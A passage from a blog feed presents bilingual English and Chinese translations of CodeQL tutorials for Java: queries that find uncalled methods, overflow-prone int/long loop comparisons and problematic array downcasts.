LGTM.com</a>. This also reduces the number of results returned by most projects.</p><blockquote><p>➤ 在LGTM.com的查询控制台中可以看到。这也减少了大多数项目返回的结果数量。</p></blockquote><p><img src="https://gitee.com/samny/images/raw/master/52u43er52ec/52u43er52ec.png" alt="image-20210325164333796"></p><p><img src="https://gitee.com/samny/images/raw/master/1u44er1ec/1u44er1ec.png" alt="image-20210325164401002"></p><p><img src="https://gitee.com/samny/images/raw/master/15u44er15ec/15u44er15ec.png" alt="image-20210325164415230"></p><p>We may also want to exclude public methods from our query, since they may be external API entry points:</p><blockquote><p>我们可能还想从查询中排除公共方法，因为它们可能是外部 API 入口点:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line"></span><br><span class="line">from Callable callee</span><br><span class="line">where not exists(Callable caller | caller.polyCalls(callee)) and</span><br><span class="line">    callee.getCompilationUnit().fromSource() and</span><br><span class="line">    not callee.hasName("&lt;clinit&gt;") and not callee.hasName("finalize") and</span><br><span class="line">    not callee.isPublic()</span><br><span class="line">select callee, "Not called."</span><br></pre></td></tr></tbody></table></figure><p>➤ <a href="https://lgtm.com/query/6284320987237954610/" target="_blank" rel="noopener">See this in the query console on LGTM.com</a>. This should have a more noticeable effect on the number of results returned.</p><blockquote><p>➤ 在LGTM.com的查询控制台中可以看到。这对返回的结果数量应该有比较明显的影响。</p></blockquote><p><img src="https://gitee.com/samny/images/raw/master/53u49er53ec/53u49er53ec.png" alt="image-20210325164953331"></p><p><img src="https://gitee.com/samny/images/raw/master/15u50er15ec/15u50er15ec.png" alt="image-20210325165015867"></p><p><img src="https://gitee.com/samny/images/raw/master/26u50er26ec/26u50er26ec.png" alt="image-20210325165026661"></p><p>A further special case is non-public default constructors: in the singleton pattern, for example, a class is provided with private empty default constructor to prevent it from being instantiated. Since the very purpose of such constructors is their not being called, they should not be flagged up:</p><blockquote><p>还有一种特殊情况是非公共的默认构造函数：例如，在单子模式中，一个类提供了私有的空默认构造函数，以防止它被实例化。由于这类构造函数的目的就是它们不被调用，所以不应该将它们标记起来:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line"></span><br><span class="line">from Callable callee</span><br><span class="line">where not exists(Callable caller | caller.polyCalls(callee)) and</span><br><span class="line">    callee.getCompilationUnit().fromSource() and</span><br><span class="line">    not callee.hasName("&lt;clinit&gt;") and not callee.hasName("finalize") and</span><br><span class="line">    not callee.isPublic() and</span><br><span class="line">    not callee.(Constructor).getNumberOfParameters() = 0</span><br><span class="line">select callee, "Not called."</span><br></pre></td></tr></tbody></table></figure><p>➤ <a href="https://lgtm.com/query/2625028545869146918/" target="_blank" rel="noopener">See this in the query console on LGTM.com</a>. This change has a large effect on the results for some projects but little effect on the results for others. Use of this pattern varies widely between different projects.</p><blockquote><p>➤ 在LGTM.com的查询控制台中可以看到。这种变化对某些项目的结果影响很大，但对其他项目的结果影响不大。这种模式的使用在不同的项目之间差异很大。</p></blockquote><p><img src="https://gitee.com/samny/images/raw/master/48u02er48ec/48u02er48ec.png" alt="image-20210325200248875"></p><p><img src="https://gitee.com/samny/images/raw/master/59u54er59ec/59u54er59ec.png" alt="image-20210325165440723"></p><p><img src="https://gitee.com/samny/images/raw/master/46u54er46ec/46u54er46ec.png" alt="image-20210325165446958"></p><p>Finally, on many Java projects there are methods that are invoked indirectly by reflection. So, while there are no calls invoking these methods, they are, in fact, used. It is in general very hard to identify such methods. A very common special case, however, is JUnit test methods, which are reflectively invoked by a test runner. The CodeQL library for Java has support for recognizing test classes of JUnit and other testing frameworks, which we can employ to filter out methods defined in such classes:</p><blockquote><p>最后，在许多Java项目上，有一些方法是通过反射间接调用的。因此，虽然没有调用这些方法，但事实上，它们是被使用的。在一般情况下，很难识别这些方法。然而，一个非常常见的特殊情况是JUnit测试方法，这些方法是由测试运行器反射性调用的。Java的CodeQL库支持识别JUnit和其他测试框架的测试类，我们可以采用它来过滤掉这些类中定义的方法:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line"></span><br><span class="line">from Callable callee</span><br><span class="line">where not exists(Callable caller | caller.polyCalls(callee)) and</span><br><span class="line">    callee.getCompilationUnit().fromSource() and</span><br><span class="line">    not callee.hasName("&lt;clinit&gt;") and not callee.hasName("finalize") and</span><br><span class="line">    not callee.isPublic() and</span><br><span class="line">    not callee.(Constructor).getNumberOfParameters() = 0 and</span><br><span class="line">    not callee.getDeclaringType() instanceof TestClass</span><br><span class="line">select callee, "Not called."</span><br></pre></td></tr></tbody></table></figure><p>➤ <a href="https://lgtm.com/query/2055862421970264112/" target="_blank" rel="noopener">See this in the query console on LGTM.com</a>. This should give a further reduction in the number of results returned.</p><blockquote><p>➤ 在LGTM.com的查询控制台中可以看到。这应该会进一步减少返回结果的数量。</p></blockquote><p><img src="https://gitee.com/samny/images/raw/master/35u55er35ec/35u55er35ec.png" alt="image-20210325165535738"></p><p><img src="https://gitee.com/samny/images/raw/master/51u55er51ec/51u55er51ec.png" alt="image-20210325165551041"></p><p><img src="https://gitee.com/samny/images/raw/master/16u56er16ec/16u56er16ec.png" alt="image-20210325165616137"></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h1 id=&quot;Navigating-the-call-graph¶&quot;&gt;&lt;a href=&quot;#Navigating-the-call-graph¶&quot; class=&quot;headerlink&quot; title=&quot;Navigating the call graph¶&quot;&gt;&lt;/a&gt;Navigati
      
    
    </summary>
    
    
      <category term="codeql" scheme="https://summersec.github.io/categories/codeql/"/>
    
    
  </entry>
  
  <entry>
    <title>Overflow-prone comparisons in Java</title>
    <link href="https://summersec.github.io/2021/03/25/Overflow-prone%20comparisons%20in%20Java/"/>
    <id>https://summersec.github.io/2021/03/25/Overflow-prone%20comparisons%20in%20Java/</id>
    <published>2021-03-25T08:57:59.313Z</published>
    <updated>2021-03-25T09:00:11.102Z</updated>
    
    <content type="html"><![CDATA[<hr><p>title: Overflow-prone comparisons in Java<br>photos: ‘<a href="https://acg.toubiec.cn/random?ssl=true&amp;id=zOcwUy5cQWGbSmnx'" target="_blank" rel="noopener">https://acg.toubiec.cn/random?ssl=true&amp;id=zOcwUy5cQWGbSmnx'</a><br>date: 2021-03-24 19:01:42<br>tags:<br>categories: codeql<br>password:<br>permalink:</p><hr><h1 id="Overflow-prone-comparisons-in-Java¶"><a href="#Overflow-prone-comparisons-in-Java¶" class="headerlink" title="Overflow-prone comparisons in Java¶"></a>Overflow-prone comparisons in Java<a href="https://codeql.github.com/docs/codeql-language-guides/overflow-prone-comparisons-in-java/#overflow-prone-comparisons-in-java" target="_blank" rel="noopener">¶</a></h1><p>You can use CodeQL to check for comparisons in Java code where one side of the comparison is prone to overflow.</p><blockquote><p>你可以使用CodeQL来检查Java代码中的比较，比较的一方容易溢出。</p></blockquote><h2 id="About-this-article"><a href="#About-this-article" class="headerlink" title="About this article"></a>About this article</h2><p>In this tutorial article you’ll write a query for finding comparisons between integers and long integers in loops that may lead to non-termination due to overflow.</p><blockquote><p>在这篇教程文章中，你将写一个查询，用于查找循环中整数和长整数之间的比较，这些比较可能会由于溢出而导致非终止。</p></blockquote><p>To begin, consider this code snippet:</p><blockquote><p>首先，考虑这个代码片段:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">void foo(long l) {</span><br><span class="line">    for(int i=0; i&lt;l; i++) {</span><br><span class="line">        // do something</span><br><span class="line">    }</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>If <code>l</code> is bigger than 231- 1 (the largest positive value of type <code>int</code>), then this loop will never terminate: <code>i</code> will start at zero, being incremented all the way up to 231- 1, which is still smaller than <code>l</code>. When it is incremented once more, an arithmetic overflow occurs, and <code>i</code> becomes -231, which also is smaller than <code>l</code>! Eventually, <code>i</code> will reach zero again, and the cycle repeats.</p><blockquote><p>如果l大于231- 1（int类型的最大正值），那么这个循环将永远不会终止：i将从零开始，一直递增到231- 1，这仍然小于l.当它再次递增时，发生算术溢出，i变成-231，这也小于l！最终，i将再次达到零，并重复循环。最终，i将再次达到零，循环往复。</p></blockquote><blockquote><p>More about overflow</p><p>All primitive numeric types have a maximum value, beyond which they will wrap around to their lowest possible value (called an “overflow”). For <code>int</code>, this maximum value is 231- 1. Type <code>long</code> can accommodate larger values up to a maximum of 263- 1. In this example, this means that <code>l</code> can take on a value that is higher than the maximum for type <code>int</code>; <code>i</code> will never be able to reach this value, instead overflowing and returning to a low value.</p><p>所有的基元数字类型都有一个最大值，超过这个最大值，它们就会被包围到可能的最低值（称为 “溢出”），对于int来说，这个最大值是231- 1，long类型可以容纳更大的值，最大为263- 1。对于int来说，这个最大值是231- 1，而long类型可以容纳更大的值，最大值是263- 1。在这个例子中，这意味着l可以接受一个比int类型的最大值更高的值；i将永远无法达到这个值，而是溢出并返回一个低值。</p></blockquote><p>We’re going to develop a query that finds code that looks like it might exhibit this kind of behavior. We’ll be using several of the standard library classes for representing statements and functions. For a full list, see “<a href="https://codeql.github.com/docs/codeql-language-guides/abstract-syntax-tree-classes-for-working-with-java-programs/" target="_blank" rel="noopener">Abstract syntax tree classes for working with Java programs</a>.”</p><blockquote><p>我们将开发一个查询，找到看起来可能表现出这种行为的代码。我们将使用几个标准库类来表示语句和函数。有关完整的列表，请参见 “用于处理Java程序的抽象语法树类”。</p></blockquote><h2 id="Initial-query"><a href="#Initial-query" class="headerlink" title="Initial query"></a>Initial query</h2><p>We’ll start by writing a query that finds less-than expressions (CodeQL class <code>LTExpr</code>) where the left operand is of type <code>int</code> and the right operand is of type <code>long</code>:</p><blockquote><p>我们先写一个查找小于表达式的查询(CodeQL类LTExpr)，其中左操作数的类型是int，右操作数的类型是long:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line"></span><br><span class="line">from LTExpr expr</span><br><span class="line">where expr.getLeftOperand().getType().hasName("int") and</span><br><span class="line">    expr.getRightOperand().getType().hasName("long")</span><br><span class="line">select expr</span><br></pre></td></tr></tbody></table></figure><p>➤ <a href="https://lgtm.com/query/490866529746563234/" target="_blank" rel="noopener">See this in the query console on LGTM.com</a>. This query usually finds results on most projects.</p><blockquote><p>➤ 在LGTM.com的查询控制台中可以看到。这个查询通常能在大多数项目上找到结果。</p></blockquote><p><img src="/.io//C:%5CUsers%5CSamny%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5Cimage-20210324163948437.png" alt="image-20210324163948437"></p><p><img src="/.io//C:%5CUsers%5CSamny%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5Cimage-20210324163958286.png" alt="image-20210324163958286"></p><p><img src="https://gitee.com/samny/images/raw/master/25u40er25ec/25u40er25ec.png" alt="image-20210324164025185"></p><p>Notice that we use the predicate <code>getType</code> (available on all subclasses of <code>Expr</code>) to determine the type of the operands. Types, in turn, define the <code>hasName</code> predicate, which allows us to identify the primitive types <code>int</code> and <code>long</code>. As it stands, this query finds <em>all</em> less-than expressions comparing <code>int</code> and <code>long</code>, but in fact we are only interested in comparisons that are part of a loop condition. Also, we want to filter out comparisons where either operand is constant, since these are less likely to be real bugs. The revised query looks like this:</p><blockquote><p>请注意，我们使用谓词 getType（可用于 Expr 的所有子类）来确定操作数的类型。Types则定义了hasName谓词，它允许我们识别基元类型int和long。目前来看，这个查询可以找到所有比较int和long的小于表达式，但实际上我们只对作为循环条件一部分的比较感兴趣。另外，我们希望过滤掉操作数为常数的比较，因为这些比较不太可能是真正的错误。修改后的查询是这样的:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line"></span><br><span class="line">from LTExpr expr</span><br><span class="line">where expr.getLeftOperand().getType().hasName("int") and</span><br><span class="line">    expr.getRightOperand().getType().hasName("long") and</span><br><span class="line">    exists(LoopStmt l | l.getCondition().getAChildExpr*() = expr) and</span><br><span class="line">    not expr.getAnOperand().isCompileTimeConstant()</span><br><span class="line">select expr</span><br></pre></td></tr></tbody></table></figure><p>➤ <a href="https://lgtm.com/query/4315986481180063825/" target="_blank" rel="noopener">See this in the query console on LGTM.com</a>. Notice that fewer results are found.</p><blockquote><p>➤ 在LGTM.com的查询控制台中看到。注意，发现的结果较少。</p></blockquote><p><img src="https://gitee.com/samny/images/raw/master/38u41er38ec/38u41er38ec.png" alt="image-20210324164138891"></p><p><img src="https://gitee.com/samny/images/raw/master/11u42er11ec/11u42er11ec.png" alt="image-20210324164211737"></p><p>The class <code>LoopStmt</code> is a common superclass of all loops, including, in particular, <code>for</code> loops as in our example above. While different kinds of loops have different syntax, they all have a loop condition, which can be accessed through predicate <code>getCondition</code>. We use the reflexive transitive closure operator <code>*</code> applied to the <code>getAChildExpr</code> predicate to express the requirement that <code>expr</code> should be nested inside the loop condition. In particular, it can be the loop condition itself.</p><blockquote><p>LoopStmt 类是所有循环的共同超类，特别是包括我们上面例子中的 for 循环。虽然不同种类的循环有不同的语法，但它们都有一个循环条件，可以通过谓词getCondition访问。我们使用应用于getAChildExpr谓词的反身转义闭合操作符*来表达expr应该嵌套在循环条件里面的要求。特别是，它可以是循环条件本身。</p></blockquote><p>The final conjunct in the <code>where</code> clause takes advantage of the fact that <a href="https://codeql.github.com/docs/ql-language-reference/predicates/#predicates" target="_blank" rel="noopener">predicates</a> can return more than one value (they are really relations). In particular, <code>getAnOperand</code> may return <em>either</em> operand of <code>expr</code>, so <code>expr.getAnOperand().isCompileTimeConstant()</code> holds if at least one of the operands is constant. Negating this condition means that the query will only find expressions where <em>neither</em> of the operands is constant.</p><blockquote><p>where子句中的最后一个连词利用了谓词可以返回多个值的事实（它们实际上是关系）。特别是，getAnOperand可以返回expr的任何一个操作数，所以expr.getAnOperand().isCompileTimeConstant()在操作数中至少有一个是常数时成立。否定这个条件意味着查询将只找到操作数都不是常数的表达式。</p></blockquote><h2 id="Generalizing-the-query"><a href="#Generalizing-the-query" class="headerlink" title="Generalizing the query"></a>Generalizing the query</h2><p>Of course, comparisons between <code>int</code> and <code>long</code> are not the only problematic case: any less-than comparison between a narrower and a wider type is potentially suspect, and less-than-or-equals, greater-than, and greater-than-or-equals comparisons are just as problematic as less-than comparisons.</p><blockquote><p>当然，int和long之间的比较并不是唯一有问题的情况：窄类型和宽类型之间的任何小于等于的比较都有可能是可疑的，小于或等于、大于等于和大于等于的比较和小于等于的比较一样有问题。</p></blockquote><p>In order to compare the ranges of types, we define a predicate that returns the width (in bits) of a given integral type:</p><blockquote><p>为了比较类型的范围，我们定义了一个谓词来返回给定积分类型的宽度（以位为单位）:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">int width(PrimitiveType pt) {</span><br><span class="line">    (pt.hasName("byte") and result=8) or</span><br><span class="line">    (pt.hasName("short") and result=16) or</span><br><span class="line">    (pt.hasName("char") and result=16) or</span><br><span class="line">    (pt.hasName("int") and result=32) or</span><br><span class="line">    (pt.hasName("long") and result=64)</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>We now want to generalize our query to apply to any comparison where the width of the type on the smaller end of the comparison is less than the width of the type on the greater end. Let’s call such a comparison <em>overflow prone</em>, and introduce an abstract class to model it:</p><blockquote><p>我们现在想把我们的查询泛化为适用于任何比较，在比较中较小端类型的宽度小于较大端类型的宽度。让我们把这样的比较称为溢出式比较，并引入一个抽象类来模拟它。</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">abstract class OverflowProneComparison extends ComparisonExpr {</span><br><span class="line">    Expr getLesserOperand() { none() }</span><br><span class="line">    Expr getGreaterOperand() { none() }</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>There are two concrete child classes of this class: one for <code>&lt;=</code> or <code>&lt;</code> comparisons, and one for <code>&gt;=</code> or <code>&gt;</code> comparisons. In both cases, we implement the constructor in such a way that it only matches the expressions we want:</p><blockquote><p>这个类有两个具体的子类：一个用于&lt;=或&lt;比较，另一个用于&gt;=或&gt;比较。在这两种情况下，我们以这样的方式实现构造函数，使它只匹配我们想要的表达式。</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">class LTOverflowProneComparison extends OverflowProneComparison {</span><br><span class="line">    LTOverflowProneComparison() {</span><br><span class="line">        (this instanceof LEExpr or this instanceof LTExpr) and</span><br><span class="line">        width(this.getLeftOperand().getType()) &lt; width(this.getRightOperand().getType())</span><br><span class="line">    }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">class GTOverflowProneComparison extends OverflowProneComparison {</span><br><span class="line">    GTOverflowProneComparison() {</span><br><span class="line">        (this instanceof GEExpr or this instanceof GTExpr) and</span><br><span class="line">        width(this.getRightOperand().getType()) &lt; width(this.getLeftOperand().getType())</span><br><span class="line">    }</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>Now we rewrite our query to make use of these new classes:</p><blockquote><p>现在我们重写我们的查询来使用这些新类:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line"></span><br><span class="line">// Return the width (in bits) of a given integral type </span><br><span class="line">int width(PrimitiveType pt) {</span><br><span class="line">  (pt.hasName("byte") and result=8) or</span><br><span class="line">  (pt.hasName("short") and result=16) or</span><br><span class="line">  (pt.hasName("char") and result=16) or</span><br><span class="line">  (pt.hasName("int") and result=32) or</span><br><span class="line">  (pt.hasName("long") and result=64)</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">// Find any comparison where the width of the type on the smaller end of </span><br><span class="line">// the comparison is less than the width of the type on the greater end</span><br><span class="line">abstract class OverflowProneComparison extends ComparisonExpr {</span><br><span class="line">  Expr getLesserOperand() { none() }</span><br><span class="line">  Expr getGreaterOperand() { none() }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">// Return `&lt;=` and `&lt;` comparisons</span><br><span class="line">class LTOverflowProneComparison extends OverflowProneComparison {</span><br><span class="line">  LTOverflowProneComparison() {</span><br><span class="line">    (this instanceof LEExpr or this instanceof LTExpr) and</span><br><span class="line">    width(this.getLeftOperand().getType()) &lt; width(this.getRightOperand().getType())</span><br><span class="line">  }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">// Return `&gt;=` and `&gt;` comparisons</span><br><span class="line">class GTOverflowProneComparison extends OverflowProneComparison {</span><br><span class="line">  GTOverflowProneComparison() {</span><br><span class="line">    (this instanceof GEExpr or this instanceof GTExpr) and</span><br><span class="line">    width(this.getRightOperand().getType()) &lt; width(this.getLeftOperand().getType())</span><br><span class="line">  }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">from OverflowProneComparison expr</span><br><span class="line">where exists(LoopStmt l | l.getCondition().getAChildExpr*() = expr) and</span><br><span class="line">      not expr.getAnOperand().isCompileTimeConstant()</span><br><span class="line">select expr</span><br></pre></td></tr></tbody></table></figure><p>➤ <a href="https://lgtm.com/query/506868054626167462/" target="_blank" rel="noopener">See the full query in the query console on LGTM.com</a>.</p><blockquote><p>➤ 在LGTM.com的查询控制台中查看完整的查询。</p></blockquote><p><img src="https://gitee.com/samny/images/raw/master/13u44er13ec/13u44er13ec.png" alt="image-20210324164413796"></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;hr&gt;
&lt;p&gt;title: Overflow-prone comparisons in Java&lt;br&gt;photos: ‘&lt;a href=&quot;https://acg.toubiec.cn/random?ssl=true&amp;amp;id=zOcwUy5cQWGbSmnx&#39;&quot; targ
      
    
    </summary>
    
    
    
  </entry>
  
  <entry>
    <title>Types in Java</title>
    <link href="https://summersec.github.io/2021/03/24/Types%20in%20Java/"/>
    <id>https://summersec.github.io/2021/03/24/Types%20in%20Java/</id>
    <published>2021-03-24T08:01:42.000Z</published>
    <updated>2021-03-25T09:00:28.851Z</updated>
    
    <content type="html"><![CDATA[<h1 id="Types-in-Java¶"><a href="#Types-in-Java¶" class="headerlink" title="Types in Java¶"></a>Types in Java<a href="https://codeql.github.com/docs/codeql-language-guides/types-in-java/#types-in-java" target="_blank" rel="noopener">¶</a></h1><p>You can use CodeQL to find out information about data types used in Java code. This allows you to write queries to identify specific type-related issues.</p><blockquote><p>您可以使用CodeQL来查找Java代码中使用的数据类型的信息。这允许您编写查询以确定特定的类型相关问题。</p></blockquote><h2 id="About-working-with-Java-types"><a href="#About-working-with-Java-types" class="headerlink" title="About working with Java types"></a>About working with Java types</h2><p>The standard CodeQL library represents Java types by means of the <code>Type</code> class and its various subclasses.</p><blockquote><p>标准CodeQL库通过Type类及其各种子类来表示Java类型。</p></blockquote><p>In particular, class <code>PrimitiveType</code> represents primitive types that are built into the Java language (such as <code>boolean</code> and <code>int</code>), whereas <code>RefType</code> and its subclasses represent reference types, that is classes, interfaces, array types, and so on. This includes both types from the Java standard library (like <code>java.lang.Object</code>) and types defined by non-library code.</p><blockquote><p>特别是，类PrimitiveType表示Java语言中内置的基元类型（如boolean和int），而RefType及其子类则表示引用类型，即类、接口、数组类型等。其中既包括Java标准库中的类型（如java.lang.Object），也包括非库代码定义的类型。</p></blockquote><p>Class <code>RefType</code> also models the class hierarchy: member predicates <code>getASupertype</code> and <code>getASubtype</code> allow you to find a reference type’s immediate super types and sub types. For example, consider the following Java program:</p><blockquote><p>类RefType还对类的层次结构进行了建模：成员谓词getASupertype和getASubtype允许你找到一个引用类型的直属超类型和子类型。例如，考虑以下Java程序:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">class A {}</span><br><span class="line"></span><br><span class="line">interface I {}</span><br><span class="line"></span><br><span class="line">class B extends A implements I {}</span><br></pre></td></tr></tbody></table></figure><p>Here, class <code>A</code> has exactly one immediate super type (<code>java.lang.Object</code>) and exactly one immediate sub type (<code>B</code>); the same is true of interface <code>I</code>. Class <code>B</code>, on the other hand, has two immediate super types (<code>A</code> and <code>I</code>), and no immediate sub types.</p><blockquote><p>在这里，类A正好有一个直系超级类型（java.lang.Object）和一个直系子类型（B）；接口I也是如此；而类B则有两个直系超级类型（A和I），没有直系子类型。</p></blockquote><p>To determine ancestor types (including immediate super types, and also <em>their</em> super types, etc.), we can use transitive closure. For example, to find all ancestors of <code>B</code> in the example above, we could use the following query:</p><blockquote><p>为了确定祖先类型（包括直系超类型，也包括它们的超类型等），我们可以使用转义闭包。例如，要找到上面例子中B的所有祖先，我们可以使用下面的查询:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line"></span><br><span class="line">from Class B</span><br><span class="line">where B.hasName("B")</span><br><span class="line">select B.getASupertype+()</span><br></pre></td></tr></tbody></table></figure><p>➤ <a href="https://lgtm.com/query/1506430738755934285/" target="_blank" rel="noopener">See this in the query console on LGTM.com</a>. If this query were run on the example snippet above, the query would return <code>A</code>, <code>I</code>, and <code>java.lang.Object</code>.</p><blockquote><p>➤ 在LGTM.com的查询控制台中可以看到。如果在上面的示例片段上运行此查询，查询将返回 A、I 和 java.lang.Object。</p></blockquote><p><img src="https://gitee.com/samny/images/raw/master/2u09er2ec/2u09er2ec.png" alt="image-20210324160901936"></p><p><img src="https://gitee.com/samny/images/raw/master/5u11er5ec/5u11er5ec.png" alt="image-20210324161105048"></p><blockquote><p>Tip</p><p>If you want to see the location of <code>B</code> as well as <code>A</code>, you can replace <code>B.getASupertype+()</code> with <code>B.getASupertype*()</code> and re-run the query.</p><p>如果想查看B的位置以及A的位置，可以将B.getASupertype+()替换为B.getASupertype*()，然后重新运行查询。</p></blockquote><p>Besides class hierarchy modeling, <code>RefType</code> also provides member predicate <code>getAMember</code> for accessing members (that is, fields, constructors, and methods) declared in the type, and predicate <code>inherits(Method m)</code> for checking whether the type either declares or inherits a method <code>m</code>.</p><blockquote><p>除了类的层次结构建模，RefType还提供了成员谓词getAMember用于访问在类型中声明的成员(即字段、构造函数和方法)，以及谓词 inherits(Method m)用于检查类型是否声明或继承了方法m。</p></blockquote><h2 id="Example-Finding-problematic-array-casts"><a href="#Example-Finding-problematic-array-casts" class="headerlink" title="Example: Finding problematic array casts"></a>Example: Finding problematic array casts</h2><p>As an example of how to use the class hierarchy API, we can write a query that finds downcasts on arrays, that is, cases where an expression <code>e</code> of some type <code>A[]</code> is converted to type <code>B[]</code>, such that <code>B</code> is a (not necessarily immediate) subtype of <code>A</code>.</p><blockquote><p>作为如何使用类层次结构 API 的一个例子，我们可以写一个查询来查找数组上的降维，也就是将某个类型 A[]的表达式 e 转换为类型 B[]的情况，这样 B 就是 A 的一个（不一定是直接）子类型。</p></blockquote><p>This kind of cast is problematic, since downcasting an array results in a runtime exception, even if every individual array element could be downcast. For example, the following code throws a <code>ClassCastException</code>:</p><blockquote><p>这种类型的转码是有问题的，因为即使每个数组元素都可以被转码，但降码一个数组会导致一个运行时异常。例如，下面的代码会抛出一个ClassCastException:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Object[] o = new Object[] { "Hello", "world" };</span><br><span class="line">String[] s = (String[])o;</span><br></pre></td></tr></tbody></table></figure><p>If the expression <code>e</code> happens to actually evaluate to a <code>B[]</code> array, on the other hand, the cast will succeed:</p><blockquote><p>另一方面，如果表达式e恰好真的评估为一个B[]数组，那么投值就会成功:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Object[] o = new String[] { "Hello", "world" };</span><br><span class="line">String[] s = (String[])o;</span><br></pre></td></tr></tbody></table></figure><p>In this tutorial, we don’t try to distinguish these two cases. Our query should simply look for cast expressions <code>ce</code> that cast from some type <code>source</code> to another type <code>target</code>, such that:</p><blockquote><p>在本教程中，我们不试图区分这两种情况。我们的查询应该简单地寻找从某个类型的源投射到另一个类型的目标的投射表达式ce，这样:</p></blockquote><ul><li>Both <code>source</code> and <code>target</code> are array types. 源和目标都是数组类型</li><li>The element type of <code>source</code> is a transitive super type of the element type of <code>target</code>. source的元素类型是target的元素类型的转义超类型。</li></ul><p>This recipe is not too difficult to translate into a query:</p><blockquote><p>这个口诀翻译成查询并不难:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line"></span><br><span class="line">from CastExpr ce, Array source, Array target</span><br><span class="line">where source = ce.getExpr().getType() and</span><br><span class="line">    target = ce.getType() and</span><br><span class="line">    target.getElementType().(RefType).getASupertype+() = source.getElementType()</span><br><span class="line">select ce, "Potentially problematic array downcast."</span><br></pre></td></tr></tbody></table></figure><p>➤ <a href="https://lgtm.com/query/8378564667548381869/" target="_blank" 